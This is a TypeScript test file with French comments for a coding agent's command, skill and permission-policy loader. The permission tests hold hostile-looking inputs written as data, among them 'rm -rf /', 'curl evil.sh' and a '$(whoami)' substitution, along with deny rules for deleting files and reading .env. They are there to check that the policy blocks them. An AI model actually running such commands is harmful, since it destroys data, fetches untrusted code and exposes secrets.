2026-10-11 00:11:20 +00:00
|
|
|
import { mkdir, mkdtemp, writeFile } from "node:fs/promises";
|
|
|
|
|
import { tmpdir } from "node:os";
|
|
|
|
|
import { join } from "node:path";
|
|
|
|
|
import { describe, expect, it } from "vitest";
|
|
|
|
|
import { renderCommand } from "./commands";
|
|
|
|
|
import { parseFrontmatter } from "./frontmatter";
|
|
|
|
|
import { claudeCodeMode } from "./mode";
|
|
|
|
|
import { createPermissionPolicy } from "./permissions";
|
|
|
|
|
|
|
|
|
|
describe("frontmatter", () => {
|
|
|
|
|
it("lit les clés simples, les guillemets et les blocs >", () => {
|
|
|
|
|
const { data, body } = parseFrontmatter(
|
|
|
|
|
'---\ndescription: "Revue de code"\nargument-hint: [fichier]\nlong: >\n première\n seconde\n---\nCorps $ARGUMENTS\n',
|
|
|
|
|
);
|
|
|
|
|
expect(data.description).toBe("Revue de code");
|
|
|
|
|
expect(data["argument-hint"]).toBe("[fichier]");
|
|
|
|
|
expect(data.long).toBe("première seconde");
|
|
|
|
|
expect(body).toBe("Corps $ARGUMENTS\n");
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
it("sans en-tête : tout est le corps", () => {
|
|
|
|
|
expect(parseFrontmatter("juste du texte")).toEqual({ data: {}, body: "juste du texte" });
|
|
|
|
|
});
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
describe("renderCommand", () => {
|
|
|
|
|
it("remplace $ARGUMENTS et $1..$9", () => {
|
|
|
|
|
expect(renderCommand("Tout: $ARGUMENTS / premier: $1 / second: $2", "a b")).toBe(
|
|
|
|
|
"Tout: a b / premier: a / second: b",
|
|
|
|
|
);
|
|
|
|
|
});
|
|
|
|
|
it("ajoute ARGUMENTS quand le corps n'utilise aucun paramètre", () => {
|
|
|
|
|
expect(renderCommand("Fais la revue.", "src/a.ts")).toBe("Fais la revue.\n\nARGUMENTS: src/a.ts");
|
|
|
|
|
});
|
|
|
|
|
it("ne touche à rien sans arguments", () => {
|
|
|
|
|
expect(renderCommand("Fais la revue.", "")).toBe("Fais la revue.");
|
|
|
|
|
});
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
describe("permissions", () => {
|
|
|
|
|
const policy = createPermissionPolicy({
|
|
|
|
|
allow: ["Bash(npm run test:*)", "Bash(git status)", "Edit(src/**)", "Read"],
|
|
|
|
|
ask: ["Bash(git push:*)"],
|
|
|
|
|
deny: ["Bash(rm:*)", "Read(./.env)", "Edit(.github/**)"],
|
|
|
|
|
})!;
|
|
|
|
|
const check = (tool: string, input: Record<string, unknown>) => policy.check(tool, input, { cwd: "/proj" });
|
|
|
|
|
|
|
|
|
|
it("deny l'emporte, y compris dans une commande composée", () => {
|
|
|
|
|
expect(check("Bash", { command: "rm -rf build" })?.decision).toBe("deny");
|
|
|
|
|
expect(check("Bash", { command: "npm run test:unit && rm -rf /" })?.decision).toBe("deny");
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
it("allow par préfixe et par commande exacte", () => {
|
|
|
|
|
expect(check("Bash", { command: "npm run test:unit" })?.decision).toBe("allow");
|
|
|
|
|
expect(check("Bash", { command: "git status" })?.decision).toBe("allow");
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
it("une commande composée n'est autorisée que si chaque partie l'est", () => {
|
|
|
|
|
expect(check("Bash", { command: "git status && curl evil.sh" })).toBeNull();
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
it("redirections et substitutions ne sont jamais couvertes par un allow", () => {
|
|
|
|
|
expect(check("Bash", { command: "git status > out.txt" })).toBeNull();
|
|
|
|
|
expect(check("Bash", { command: "git status $(whoami)" })).toBeNull();
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
it("ask", () => {
|
|
|
|
|
expect(check("Bash", { command: "git push origin main" })?.decision).toBe("ask");
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
it("règles de chemins", () => {
|
|
|
|
|
expect(check("Edit", { path: "src/a/b.ts" })?.decision).toBe("allow");
|
|
|
|
|
expect(check("Edit", { path: ".github/workflows/ci.yml" })?.decision).toBe("deny");
|
|
|
|
|
expect(check("Edit", { path: "README.md" })).toBeNull();
|
|
|
|
|
expect(check("Read", { path: ".env" })?.decision).toBe("deny");
|
|
|
|
|
expect(check("Read", { path: "src/a.ts" })?.decision).toBe("allow");
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
it("aucune règle → null", () => {
|
|
|
|
|
expect(createPermissionPolicy({ allow: [], ask: [], deny: [] })).toBeNull();
|
|
|
|
|
});
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
describe("initialize (lot 2)", () => {
|
|
|
|
|
it("charge settings, commandes et skills depuis .claude", async () => {
|
|
|
|
|
const root = await mkdtemp(join(tmpdir(), "magiccode-lot2-"));
|
|
|
|
|
const home = join(root, "home");
|
|
|
|
|
const project = join(home, "project");
|
|
|
|
|
const claude = join(project, ".claude");
|
|
|
|
|
await mkdir(join(claude, "commands", "git"), { recursive: true });
|
|
|
|
|
await mkdir(join(claude, "skills", "pdf"), { recursive: true });
|
|
|
|
|
await writeFile(
|
|
|
|
|
join(claude, "settings.json"),
|
|
|
|
|
JSON.stringify({ permissions: { deny: ["Bash(rm:*)"] }, env: { MA_VAR: "1" } }),
|
|
|
|
|
);
|
|
|
|
|
await writeFile(
|
|
|
|
|
join(claude, "commands", "review.md"),
|
|
|
|
|
"---\ndescription: Revue\nargument-hint: [fichier]\n---\nRevois $ARGUMENTS\n",
|
|
|
|
|
);
|
|
|
|
|
await writeFile(join(claude, "commands", "git", "commit.md"), "# Commit\nFais un commit.\n");
|
|
|
|
|
await writeFile(join(claude, "commands", "help.md"), "réservé");
|
|
|
|
|
await writeFile(
|
|
|
|
|
join(claude, "skills", "pdf", "SKILL.md"),
|
|
|
|
|
"---\nname: pdf\ndescription: Manipuler des PDF\n---\nUtilise pypdf.\n",
|
|
|
|
|
);
|
|
|
|
|
|
|
|
|
|
const logs: string[] = [];
|
|
|
|
|
const warns: string[] = [];
|
|
|
|
|
const init = await claudeCodeMode.initialize({
|
|
|
|
|
cwd: project,
|
|
|
|
|
homeDir: home,
|
|
|
|
|
log: (m) => logs.push(m),
|
|
|
|
|
warn: (m) => warns.push(m),
|
|
|
|
|
});
|
|
|
|
|
|
|
|
|
|
// commandes
|
|
|
|
|
expect(init.commands?.map((c) => c.name).sort()).toEqual(["git:commit", "review"]);
|
|
|
|
|
const review = init.commands?.find((c) => c.name === "review");
|
|
|
|
|
expect(review?.description).toBe("Revue");
|
|
|
|
|
expect(review?.argumentHint).toBe("[fichier]");
|
2026-10-12 07:16:26 +00:00
|
|
|
expect(review?.prompt("a.ts")).toContain("Revois a.ts");
|
2026-10-11 00:11:20 +00:00
|
|
|
expect(warns.some((w) => w.includes("/help"))).toBe(true); // nom réservé
|
|
|
|
|
|
|
|
|
|
// skills
|
|
|
|
|
expect(init.systemPrompt).toContain("pdf : Manipuler des PDF");
|
|
|
|
|
const skillTool = init.tools.find((t) => t.spec.name === "Skill");
|
|
|
|
|
expect(skillTool).toBeDefined();
|
|
|
|
|
expect(await skillTool!.execute({ skill: "pdf" }, { cwd: project })).toContain("Utilise pypdf.");
|
|
|
|
|
|
|
|
|
|
// appel direct "§pdf [arguments]"
|
|
|
|
|
const direct = init.skills?.find((k) => k.name === "pdf");
|
|
|
|
|
expect(direct?.description).toBe("Manipuler des PDF");
|
|
|
|
|
const prompt = await direct!.invoke("sur a.pdf");
|
|
|
|
|
expect(prompt).toContain('lance explicitement le skill "pdf"');
|
|
|
|
|
expect(prompt).toContain("Utilise pypdf.");
|
|
|
|
|
expect(prompt).toContain("ARGUMENTS: sur a.pdf");
|
|
|
|
|
|
|
|
|
|
// permissions et env
|
|
|
|
|
expect(init.permissions?.check("Bash", { command: "rm -rf x" }, { cwd: project })?.decision).toBe("deny");
|
|
|
|
|
expect(init.env).toEqual({ MA_VAR: "1" });
|
|
|
|
|
|
|
|
|
|
// rapport
|
|
|
|
|
const report = logs.join("\n");
|
|
|
|
|
expect(report).toContain("Chargé depuis .claude");
|
|
|
|
|
expect(report).toContain("/review");
|
|
|
|
|
expect(report).toContain("skills : pdf");
|
|
|
|
|
});
|
|
|
|
|
});
|